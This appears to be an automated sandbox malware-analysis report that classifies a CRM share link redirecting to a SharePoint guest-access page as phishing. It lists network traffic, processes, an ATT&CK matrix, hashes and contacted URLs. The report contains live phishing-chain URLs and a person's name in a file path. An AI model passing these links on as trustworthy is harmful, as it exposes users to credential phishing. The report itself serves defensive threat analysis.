HTTP traffic detected: POST /api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DUSSELDORF&ASN=20940&Country=DE&Region=NW&RequestIdentifier=0.6cf21602.1740129904.e30195b&TotalRTCDNTime=79&CompressionType=&FileSize=215 HTTP/1.1Host: m365cdn.nel.measure.office.netConnection: keep-aliveContent-Length: 511Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 Forbiddenx-amz-request-id: P2MKT2MQBB5WH47Px-amz-id-2: nEFZ51xJsS0rvx95Q5J5c34nPVgSPgW1yF6chKbhIJiHaKeZfABcI49IwaGBYMfK4eXTg66rCAw=Content-Type: application/xmlTransfer-Encoding: chunkedDate: Fri, 21 Feb 2025 09:24:53 GMTServer: AmazonS3Connection: close

Source: chromecache_74.2.dr, chromecache_91.2.dr	String found in binary or memory: http://github.com/jrburke/requirejs
Source: chromecache_89.2.dr	String found in binary or memory: https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9
Source: chromecache_81.2.dr	String found in binary or memory: https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/images/256_icdocx.pn
Source: chromecache_82.2.dr, chromecache_95.2.dr	String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: chromecache_73.2.dr, chromecache_90.2.dr, chromecache_70.2.dr, chromecache_94.2.dr, chromecache_81.2.dr	String found in binary or memory: https://res-1.cdn.office.net
Source: chromecache_73.2.dr, chromecache_90.2.dr, chromecache_70.2.dr, chromecache_94.2.dr, chromecache_81.2.dr	String found in binary or memory: https://res-1.cdn.office.net/bld/_layouts/15/16.0.25805.12009/require.js
Source: chromecache_73.2.dr, chromecache_90.2.dr, chromecache_70.2.dr, chromecache_94.2.dr, chromecache_81.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-02-07.012/
Source: chromecache_73.2.dr, chromecache_90.2.dr, chromecache_70.2.dr, chromecache_94.2.dr, chromecache_81.2.dr	String found in binary or memory: https://res-1.cdn.office.net/files/odsp-web-prod_2025-02-07.012/spoguestaccesswebpack/spoguestaccess
Source: chromecache_73.2.dr, chromecache_90.2.dr, chromecache_70.2.dr, chromecache_94.2.dr, chromecache_81.2.dr	String found in binary or memory: https://res-2.cdn.office.net/files/odsp-web-prod_2025-02-07.012/
Source: chromecache_73.2.dr, chromecache_90.2.dr, chromecache_70.2.dr, chromecache_94.2.dr, chromecache_81.2.dr	String found in binary or memory: https://spoprod-a.akamaihd.net/files/odsp-common-library-prod_2019-02-15_20190219.002/require.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: classification engine

Classification label: mal48.phis.win@18/48@24/11

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1936 --field-trial-handle=2020,i,6877932132322953193,3937118836073825584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://app.pipelinecrm.com/connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1936 --field-trial-handle=2020,i,6877932132322953193,3937118836073825584,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	2 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://app.pipelinecrm.com/connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9	0%	Avira URL Cloud	safe
https://casp-my.sharepoint.com/ScriptResource.axd?d=O-vXHJRpQDjJaUpWymgLG0920gU7uBysnu_-5aUF8o3SHfNYV7At8_TWyqgRtNw9n3IHVwSh6WxyKYmGO9Z37mkptU4LS7QUetLLwntmMR0TCb00b948WuFdwXqgnLr3_BQpFmJXO0O7-54jOyTALC576frHJVMskUlLPS6WYz6sqxDXDgMR2eMPq7W8jYmJ0&t=2a9d95e3	0%	Avira URL Cloud	safe
https://casp-my.sharepoint.com/_layouts/15/images/microsoft-logo.png	0%	Avira URL Cloud	safe
https://casp-my.sharepoint.com/_layouts/15/images/favicon.ico?rev=47	0%	Avira URL Cloud	safe
https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/images/256_icdocx.pn	0%	Avira URL Cloud	safe
https://casp-my.sharepoint.com/ScriptResource.axd?d=qG5cZC_r-vjA5alF1F7cP1ojaTdycTZtYbAW6i40CCMvVoP-LqtNdKXZALKV3oY9IRBAKkgqJxHyUZVhX7XR2OhnfHp840tX34IBU2j5N3RGOc_8hFN6dOeZBbtJPkmJdOYvev-5mehbL5Maqgf6LpRnUqjZqe2772PpI7spBVk1&t=ffffffffc7a8e318	0%	Avira URL Cloud	safe
https://pipeline-live-userdata.s3.amazonaws.com/favicon.ico	0%	Avira URL Cloud	safe
https://circyl.co.uk/wp-content/uploads/2023/02/logo_microsoft365.png	0%	Avira URL Cloud	safe
https://casp-my.sharepoint.com/WebResource.axd?d=88byAly_dSfEWAYlHoCKtWYsWda8AD33TbzvaDlm9r3zv8mlgbEIK5Io1tPOtJmeWu1_EqZkud52TG16rzz2maFTavTQVFCf3cAVshMHi401&t=638722377274822434	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3-w.us-east-1.amazonaws.com	52.217.32.164	true	false	high
dual-spo-0005.spo-msedge.net	13.107.136.10	true	false	high
a726.dscd.akamai.net	2.22.242.123	true	false	high
www.google.com	142.250.185.132	true	false	high
190119-ipv4v6.farm.dprodmgd104.aa-rt.sharepoint.com	52.105.161.39	true	false	unknown
app.pipelinecrm.com	172.66.40.187	true	false	unknown
circyl.co.uk	185.199.220.62	true	false	unknown
a1894.dscb.akamai.net	2.16.202.73	true	false	high
pbs.twimg.com.cdn.cloudflare.net	172.64.150.129	true	false	high
pipeline-live-userdata.s3.amazonaws.com	unknown	unknown	true	unknown
pbs.twimg.com	unknown	unknown	false	high
casp-my.sharepoint.com	unknown	unknown	true	unknown
m365cdn.nel.measure.office.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://casp-my.sharepoint.com/ScriptResource.axd?d=O-vXHJRpQDjJaUpWymgLG0920gU7uBysnu_-5aUF8o3SHfNYV7At8_TWyqgRtNw9n3IHVwSh6WxyKYmGO9Z37mkptU4LS7QUetLLwntmMR0TCb00b948WuFdwXqgnLr3_BQpFmJXO0O7-54jOyTALC576frHJVMskUlLPS6WYz6sqxDXDgMR2eMPq7W8jYmJ0&t=2a9d95e3	false	Avira URL Cloud: safe	unknown
https://casp-my.sharepoint.com/_layouts/15/images/microsoft-logo.png	false	Avira URL Cloud: safe	unknown
https://casp-my.sharepoint.com/ScriptResource.axd?d=qG5cZC_r-vjA5alF1F7cP1ojaTdycTZtYbAW6i40CCMvVoP-LqtNdKXZALKV3oY9IRBAKkgqJxHyUZVhX7XR2OhnfHp840tX34IBU2j5N3RGOc_8hFN6dOeZBbtJPkmJdOYvev-5mehbL5Maqgf6LpRnUqjZqe2772PpI7spBVk1&t=ffffffffc7a8e318	false	Avira URL Cloud: safe	unknown
https://casp-my.sharepoint.com/_layouts/15/images/favicon.ico?rev=47	false	Avira URL Cloud: safe	unknown
https://m365cdn.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DUSSELDORF&ASN=20940&Country=DE&Region=NW&RequestIdentifier=0.64f21602.1740129946.79d344b&TotalRTCDNTime=78&CompressionType=&FileSize=215	false		high
https://pipeline-live-userdata.s3.amazonaws.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://m365cdn.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DUSSELDORF&ASN=20940&Country=DE&Region=NW&RequestIdentifier=0.6cf21602.1740129904.e30195b&TotalRTCDNTime=79&CompressionType=&FileSize=215	false		high
https://circyl.co.uk/wp-content/uploads/2023/02/logo_microsoft365.png	false	Avira URL Cloud: safe	unknown
https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w?e=70OfIa?usr=null	false		unknown
https://app.pipelinecrm.com/connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ	false		unknown
https://casp-my.sharepoint.com/WebResource.axd?d=88byAly_dSfEWAYlHoCKtWYsWda8AD33TbzvaDlm9r3zv8mlgbEIK5Io1tPOtJmeWu1_EqZkud52TG16rzz2maFTavTQVFCf3cAVshMHi401&t=638722377274822434	false	Avira URL Cloud: safe	unknown
https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://github.com/jrburke/requirejs	chromecache_74.2.dr, chromecache_91.2.dr	false		high
https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/images/256_icdocx.pn	chromecache_81.2.dr	false	Avira URL Cloud: safe	unknown
https://casp-my.sharepoint.com/:w:/g/personal/alisson_rouvin_casp_asso_fr/EfyFTtajPpBPo0F92AyYkDcBS9	chromecache_89.2.dr	false	Avira URL Cloud: safe	unknown
https://reactjs.org/docs/error-decoder.html?invariant=	chromecache_82.2.dr, chromecache_95.2.dr	false		high
https://spoprod-a.akamaihd.net/files/odsp-common-library-prod_2019-02-15_20190219.002/require.js	chromecache_73.2.dr, chromecache_90.2.dr, chromecache_70.2.dr, chromecache_94.2.dr, chromecache_81.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
2.16.202.73	a1894.dscb.akamai.net	European Union	16625	AKAMAI-ASUS	false
13.107.136.10	dual-spo-0005.spo-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.199.220.62	circyl.co.uk	United Kingdom	12488	KRYSTALGR	false
52.105.161.39	190119-ipv4v6.farm.dprodmgd104.aa-rt.sharepoint.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
172.64.150.129	pbs.twimg.com.cdn.cloudflare.net	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.66.40.187	app.pipelinecrm.com	United States	13335	CLOUDFLARENETUS	false
95.101.54.225	unknown	European Union	34164	AKAMAI-LONGB	false
52.217.32.164	s3-w.us-east-1.amazonaws.com	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1620849
Start date and time:	2025-02-21 10:23:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://app.pipelinecrm.com/connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.phis.win@18/48@24/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 142.250.186.46, 74.125.71.84, 142.250.186.142, 216.58.206.46, 142.250.185.238, 199.232.214.172, 2.23.77.188, 142.250.74.202, 216.58.206.74, 142.250.184.202, 142.250.185.74, 172.217.16.138, 142.250.185.138, 142.250.185.106, 142.250.186.138, 172.217.18.10, 172.217.16.202, 142.250.186.74, 142.250.186.170, 142.250.181.234, 142.250.186.42, 172.217.18.106, 142.250.186.106, 216.58.206.78, 142.250.181.238, 142.250.184.206, 216.58.206.35, 216.58.212.142, 142.250.186.110, 2.19.106.160, 20.12.23.50, 2.22.242.123, 2.22.242.112, 13.107.246.45, 2.19.11.98
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, res-1.cdn.office.net, res-stls-prod.edgesuite.net, fe3cr.delivery.mp.microsoft.com, res-prod.cdn.office.net.akadns.net, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://app.pipelinecrm.com/connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (30522), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	69942
Entropy (8bit):	5.684413978086255
Encrypted:	false
SSDEEP:	1536:P4ggu7EfhtnWXBOxSPSW8N6fGNNKssBJs2R1F8cHx:P4uVCGeTKsq1F8g
MD5:	239173460F4D76E7943A97E8FFCCD4CA
SHA1:	5FFCD212119DEFE9462D4AB7E3229667D2DB94B2
SHA-256:	9EA4AF0BEF9127FA0ADF1EEAF0196859A711C9EB5F13B42B861AF1FE55ED5014
SHA-512:	B6B105CE5DBFCE10F2C3B1D753D2A1BC526C993557610DE81E9C4ABE4D9FAF9D36B06A4FD96646790E7C3226EE79044575AC1204D8E0CEC01B7A075B0A4D751B
Malicious:	false
Reputation:	low
URL:	https://casp-my.sharepoint.com/personal/alisson_rouvin_casp_asso_fr/_layouts/15/guestaccess.aspx?e=70OfIa%3fusr%3dnull&share=EfyFTtajPpBPo0F92AyYkDcBS9bucZ0-XH8erCIW0hbY0w
Preview:	..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns:o="urn:schemas-microsoft-com:office:office" lang="fr-fr" dir="ltr">..<head><meta name="GENERATOR" content="Microsoft SharePoint" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="Expires" content="0" /><meta name="Robots" content="NOHTMLINDEX" /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><link id="favicon" rel="shortcut icon" href="/_layouts/15/images/favicon.ico?rev=47" type="image/vnd.microsoft.icon" /><title>...Validation du lien de partage..</title>...<style type="text/css" media="screen, print, projection">....html{line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,footer,header,nav,section{display:block}h1{font-size:2em;margin:.67em 0}figcaption,fig

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 21, 2025 10:24:44.880995035 CET	53	64281	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:44.909122944 CET	53	53936	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:45.882088900 CET	53	64057	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:49.033179045 CET	57131	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:49.033293009 CET	64539	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:49.040359020 CET	53	57131	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:49.040678024 CET	53	64539	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:50.671320915 CET	60580	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:50.671642065 CET	54383	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:50.683847904 CET	53	54383	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:50.694447041 CET	53	60580	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:51.492486954 CET	63370	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:51.492887974 CET	62049	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:51.511667013 CET	53	63370	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:51.516988039 CET	53	62049	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:52.520240068 CET	50203	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:52.520492077 CET	52900	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:52.521122932 CET	64601	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:52.521670103 CET	54533	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:52.528424978 CET	53	64601	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:52.529310942 CET	53	54533	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:52.532736063 CET	53	52900	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:52.533097029 CET	53	50203	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:53.215811014 CET	56264	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:53.215924025 CET	50487	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:53.223295927 CET	53	56264	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:53.223697901 CET	53	50487	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:53.605505943 CET	60181	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:53.605699062 CET	52863	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:24:53.617408037 CET	53	60181	1.1.1.1	192.168.2.4
Feb 21, 2025 10:24:53.618328094 CET	53	52863	1.1.1.1	192.168.2.4
Feb 21, 2025 10:25:00.580169916 CET	55842	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:25:00.580493927 CET	58180	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:25:00.618738890 CET	53	55842	1.1.1.1	192.168.2.4
Feb 21, 2025 10:25:02.230822086 CET	60631	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:25:02.230822086 CET	58894	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:25:02.273401976 CET	53	58894	1.1.1.1	192.168.2.4
Feb 21, 2025 10:25:02.276653051 CET	53	60631	1.1.1.1	192.168.2.4
Feb 21, 2025 10:25:02.626126051 CET	53	58180	1.1.1.1	192.168.2.4
Feb 21, 2025 10:25:02.775837898 CET	53	56599	1.1.1.1	192.168.2.4
Feb 21, 2025 10:25:02.913572073 CET	138	138	192.168.2.4	192.168.2.255
Feb 21, 2025 10:25:03.258481979 CET	53	50174	1.1.1.1	192.168.2.4
Feb 21, 2025 10:25:04.240901947 CET	52469	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:25:04.241033077 CET	59525	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:25:04.249346018 CET	53	59525	1.1.1.1	192.168.2.4
Feb 21, 2025 10:25:04.249406099 CET	53	52469	1.1.1.1	192.168.2.4
Feb 21, 2025 10:25:14.280775070 CET	53	64010	1.1.1.1	192.168.2.4
Feb 21, 2025 10:25:21.576205015 CET	53	61300	1.1.1.1	192.168.2.4
Feb 21, 2025 10:25:44.395072937 CET	53	60507	1.1.1.1	192.168.2.4
Feb 21, 2025 10:25:44.651155949 CET	53	50756	1.1.1.1	192.168.2.4
Feb 21, 2025 10:26:04.251782894 CET	55897	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:26:04.251877069 CET	54461	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:26:04.259217024 CET	53	55897	1.1.1.1	192.168.2.4
Feb 21, 2025 10:26:04.259373903 CET	53	54461	1.1.1.1	192.168.2.4
Feb 21, 2025 10:26:06.702204943 CET	64903	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:26:06.702393055 CET	51430	53	192.168.2.4	1.1.1.1
Feb 21, 2025 10:26:06.826358080 CET	53	64903	1.1.1.1	192.168.2.4
Feb 21, 2025 10:26:06.828825951 CET	53	51430	1.1.1.1	192.168.2.4

Timestamp	Bytes transferred	Direction	Data
